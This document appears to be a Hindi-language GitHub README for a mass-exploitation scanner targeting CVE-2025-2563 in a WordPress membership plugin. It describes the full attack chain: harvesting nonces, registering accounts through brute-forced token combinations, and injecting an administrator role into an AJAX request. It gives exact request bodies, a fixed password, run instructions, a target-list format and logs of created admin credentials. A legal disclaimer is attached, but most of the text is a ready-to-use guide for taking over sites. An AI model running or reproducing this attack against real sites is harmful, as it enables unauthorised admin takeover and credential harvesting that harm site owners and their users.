
User Registration & Membership WordPress plugin 4.1.2 से पहले के संस्करण में उपयोगकर्ताओं को अपनी खाता भूमिका सेट करने से नहीं रोकता है जब Membership Addon सक्षम होता है, जिससे विशेषाधिकार वृद्धि की समस्या उत्पन्न होती है और अनप्रमाणित उपयोगकर्ताओं को व्यवस्थापक विशेषाधिकार प्राप्त करने की अनुमति मिलती है।
वर्डप्रेस के लिए User Registration & Membership प्लगइन, संस्करण 4.1.2 से पहले, जब Membership Addon सक्षम होता है, तो उपयोगकर्ताओं को अपनी खाता भूमिका सेट करने से नहीं रोकता है, जिससे विशेषाधिकार वृद्धि की समस्या उत्पन्न होती है और अप्रमाणित उपयोगकर्ताओं को व्यवस्थापक विशेषाधिकार प्राप्त करने की अनुमति मिलती है।
विवरण:
वर्डप्रेस के लिए User Registration & Membership प्लगइन, संस्करण 4.1.2 से पहले, जब Membership Addon सक्षम होता है, तो सर्वर-साइड भूमिका प्रतिबंधों को लागू करने में विफल रहता है। सदस्यता पंजीकरण प्रक्रिया के दौरान, प्लगइन user_registration_membership_register_member AJAX एक्शन में उपयोगकर्ता द्वारा प्रदान किए गए role फ़ील्ड को बिना सर्वर-साइड अनुमत सूची के विरुद्ध मान्य किए स्वीकार करता है। एक पूरी तरह से अप्रमाणित दूरस्थ हमलावर एक क्राफ्टेड दो-चरणीय AJAX श्रृंखला प्रस्तुत कर सकता है — पहले user_registration_user_form_submit के माध्यम से एक नया उपयोगकर्ता खाता पंजीकृत करना, फिर सदस्यता कॉल के members_data पेलोड में "role": "administrator" इंजेक्ट करना — ताकि चुपचाप पूरी तरह से विशेषाधिकार प्राप्त वर्डप्रेस व्यवस्थापक खाता बनाया जा सके। इसके परिणामस्वरूप बिना किसी प्रमाणीकरण या उपयोगकर्ता इंटरैक्शन के पूर्ण साइट से समझौता होता है।
यह एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) बड़े पैमाने पर शोषण स्कैनर है, जो Membership Addon सक्रिय के साथ User Registration & Membership प्लगइन के एक कमजोर संस्करण को चलाने वाले वर्डप्रेस इंस्टॉलेशन को लक्षित करता है। यह उपकरण स्वचालित खोज, नॉन्स हार्वेस्टिंग, कॉम्बो-आधारित पंजीकरण, भूमिका इंजेक्शन और व्यवस्थापक सत्यापन के साथ बुद्धिमान बहु-चरणीय शोषण करता है।
[चरण 1 — खोज]
GET /membership-pricing/ → membership_id, मूल्य निर्धारण लिंक निकालें
GET /membership-registration/ → form_id, नॉन्स, सुरक्षा टोकन निकालें
GET /registration/ → फ़ॉलबैक पंजीकरण पृष्ठ
↓
[चरण 2 — नॉन्स निष्कर्षण]
पार्स करें: ur_membership_frontend_localized_data._nonce
पार्स करें: ur_frontend_form_nonce, security, form_id, membership_id
↓
[चरण 3 — पंजीकरण (कॉम्बो हमला)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<टोकन> | ur_frontend_form_nonce=<नॉन्स>
→ success=true होने तक सभी मान्य कॉम्बो आज़माएं
↓
[चरण 4 — भूमिका इंजेक्शन (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ सर्वर नवनिर्मित उपयोगकर्ता को व्यवस्थापक भूमिका प्रदान करता है
↓
[चरण 5 — व्यवस्थापक सत्यापन]
POST /wp-login.php → नए क्रेडेंशियल से लॉगिन करें
GET /wp-admin/ → adminmenu / wp-admin-bar जांचें
GET /wp-admin/users.php → manage_options एक्सेस की पुष्टि करें
GET /wp-admin/plugin-install.php → plugin-install एक्सेस की पुष्टि करें
↓
[Nx_admin.txt में सहेजें]
प्रारूप: [टाइमस्टैम्प] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
या आवश्यकताओं की फ़ाइल के माध्यम से:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# रिपॉजिटरी क्लोन करें
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# निर्भरताएँ स्थापित करें
pip install -r requirements.txt
# उपकरण चलाएं
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
उपकरण Rich द्वारा संचालित पूरी तरह से इंटरैक्टिव टर्मिनल इंटरफ़ेस का उपयोग करता है।
एक सादा पाठ फ़ाइल बनाएं (डिफ़ॉल्ट: list.txt) — प्रति पंक्ति एक लक्ष्य:
https://target1.com
https://target2.com
http://target3.com
target4.com
http://याhttps://के बिना लक्ष्यों को स्वचालित रूप सेhttps://उपसर्ग दिया जाता है।
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Max registration attempts per target [20]: 20
सभी पंजीकरण प्रयासों के लिए पासवर्ड आंतरिक रूप से
Nx_adminSAनिर्धारित है।
उपकरण प्रति लक्ष्य स्वचालित रूप से तीन पृष्ठों की जांच करता है:
| पृष्ठ | उद्देश्य |
|---|---|
निम्नलिखित टोकन कच्चे HTML और इनलाइन JavaScript से निकाले जाते हैं:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>
उपकरण स्वचालित रूप से security, frontend_nonce, form_id, और membership_id के सभी खोजे गए संयोजनों पर तब तक पुनरावृत्ति करता है जब तक success: true प्रतिक्रिया प्राप्त नहीं हो जाती।
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
"role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}
⚠️ सर्वर बिना किसी अनुमत सूची के
roleफ़ील्ड स्वीकार करता है — यह CVE-2025-2563 का मूल कारण है।
| फ़ाइल | विवरण |
|---|---|
reg.txt | क्रेडेंशियल के साथ सभी सफल पंजीकरण प्रयास |
Nx_admin.txt | सभी पुष्टि किए गए व्यवस्थापक वृद्धि |
reg.txt:
[2025-06-01 12:44:10] https://target.com/wp-login.php user:Nxploited_482 email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2025-06-01 12:44:18] https://target.com/wp-login.php user:Nxploited_482 pass:Nx_adminSA
╔══════════════════════════════════════════════════════════════════╗
║ User Registration Membership Full Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCANNING] https://target.com
[EXPLOITING] https://target.com | nonce + reg OK
[EXPLOITED] https://target.com | password: Nx_adminSA
┌──────────────────────────────────────────────────────────────────────────┐
│ Target │ Status │ Password / Note │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ COMPROMISED (exploited) │ password: Nx_adminSA│
│ https://target2.com │ VULNERABLE (nonce exposed) │ │
│ https://target3.com │ DEAD (connection error) │ │
└──────────────────────────────────────────────────────────────────────────┘
Registration log: reg.txt
Exploit (admin) log: Nx_admin.txt
द्वारा: Nxploited (खालिद अलेनाजी)
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
लेखक, Nxploited (खालिद अलेनाजी), और इस परियोजना के सभी योगदानकर्ता इस उपकरण के दुरुपयोग या इस सॉफ़्टवेयर के उपयोग से होने वाली किसी भी क्षति के लिए न तो समर्थन करते हैं, न ही कोई जिम्मेदारी लेते हैं जब इसका उपयोग उन प्रणालियों के विरुद्ध किया जाता है जिनके लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है।
- ✅ अनुमत: उन प्रणालियों पर उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपको स्पष्ट लिखित अनुमति दी गई है।
- ❌ निषिद्ध: सिस्टम स्वामी से पूर्व स्पष्ट लिखित प्राधिकरण के बिना किसी भी प्रणाली के विरुद्ध उपयोग करें।
कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है और लागू कानूनों के तहत दंडनीय है जिसमें कंप्यूटर फ्रॉड एंड एब्यूज एक्ट (CFAA), कंप्यूटर मिसयूज़ एक्ट (CMA), और दुनिया भर में समान विधान शामिल हैं, लेकिन इन्हीं तक सीमित नहीं हैं।
इस उपकरण का उपयोग करके, आप अपने कार्यों की पूर्ण और एकमात्र जिम्मेदारी स्वीकार करते हैं और पुष्टि करते हैं कि आपके पास लक्षित प्रणालियों के परीक्षण का कानूनी अधिकार है।
लेखक इस सॉफ़्टवेयर के उपयोग या दुरुपयोग से उत्पन्न होने वाले किसी भी प्रत्यक्ष, अप्रत्यक्ष, आकस्मिक, या परिणामी नुकसान के लिए कोई देयता नहीं मानता है।
© 2025 Nxploited (खालिद अलेनाजी) — केवल अधिकृत सुरक्षा अनुसंधान के लिए।
| फ़ील्ड | विवरण |
|---|
| CVE ID | CVE-2025-2563 |
| गंभीरता | उच्च — CVSS v3.1 स्कोर: 8.1 |
| वेक्टर | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| प्रभावित सॉफ्टवेयर | वर्डप्रेस के लिए User Registration & Membership प्लगइन |
| प्रभावित संस्करण | 4.1.2 से पहले के सभी संस्करण |
| भेद्यता प्रकार | अनुचित विशेषाधिकार प्रबंधन — अप्रमाणित व्यवस्थापक खाता निर्माण |
| आवश्यक प्रमाणीकरण | कोई नहीं |
| CWE | CWE-269: अनुचित विशेषाधिकार प्रबंधन |
/membership-pricing/membership_id और पंजीकरण लिंक निकालें |
/membership-registration/ | फ़ॉर्म टोकन, नॉन्स और फ़ील्ड आईडी निकालें |
/membership-registration/?membership_id=<id> | योजना-विशिष्ट फ़ॉर्म निष्कर्षण |
/registration/ | फ़ॉलबैक सामान्य पंजीकरण पृष्ठ |
| टोकन | स्रोत |
|---|
_nonce | ur_membership_frontend_localized_data JS ऑब्जेक्ट |
ur_frontend_form_nonce | छिपा इनपुट फ़ील्ड या JS ऑब्जेक्ट |
security | user_registration_params.user_registration_form_data_save |
form_id | छिपा इनपुट ur-user-form-id या JS ऑब्जेक्ट |
membership_id | रेडियो इनपुट urm_membership या URL क्वेरी स्ट्रिंग |
| स्थिति | रंग | अर्थ |
|---|
COMPROMISED (exploited) | 🟢 हरा | पूर्ण श्रृंखला सफलता — व्यवस्थापक लॉगिन सत्यापित |
COMPROMISED (exploit ok, admin not verified) | 🟡 पीला | भूमिका इंजेक्शन सफल लेकिन व्यवस्थापक पैनल जाँच अनिर्णायक |
VULNERABLE (nonce exposed, registration failed) | 🟡 पीला | सदस्यता नॉन्स मिला लेकिन पंजीकरण AJAX विफल |
VULNERABLE (nonce exposed, exploit pending) | 🟡 पीला | नॉन्स मिला लेकिन शोषण पूरा नहीं किया जा सका |
EXPLOITING | 🟡 पीला | सक्रिय शोषण प्रगति पर |
REGISTERED (no membership nonce) | 🟡 पीला | पंजीकरण सफल लेकिन नॉन्स निकालने योग्य नहीं |
NO REG (all attempts failed) | ⚫ गहरा | सभी सुरक्षा/नॉन्स/फ़ॉर्म_आईडी संयोजन प्रयास समाप्त |
NO REG (max attempts reached) | ⚫ गहरा | कॉन्फ़िगर किए गए प्रयास सीमा तक पहुँच गया |
DEAD (no membership/registration pages) | ⚫ गहरा | लक्ष्य पर प्लगइन का पता नहीं चला |
EXPLOIT FAILED (request error) | 🔴 लाल | भूमिका इंजेक्शन कॉल के दौरान नेटवर्क त्रुटि |
EXPLOIT FAILED (success=false) | 🔴 लाल | सर्वर ने भूमिका इंजेक्शन पर success: false लौटाया |
TIMEOUT | ⚫ गहरा | HTTP टाइमआउट |
DEAD (connection error) | ⚫ गहरा | कनेक्शन अस्वीकार / पहुँच से बाहर |
ERROR | 🔴 लाल | अप्रत्याशित अपवाद |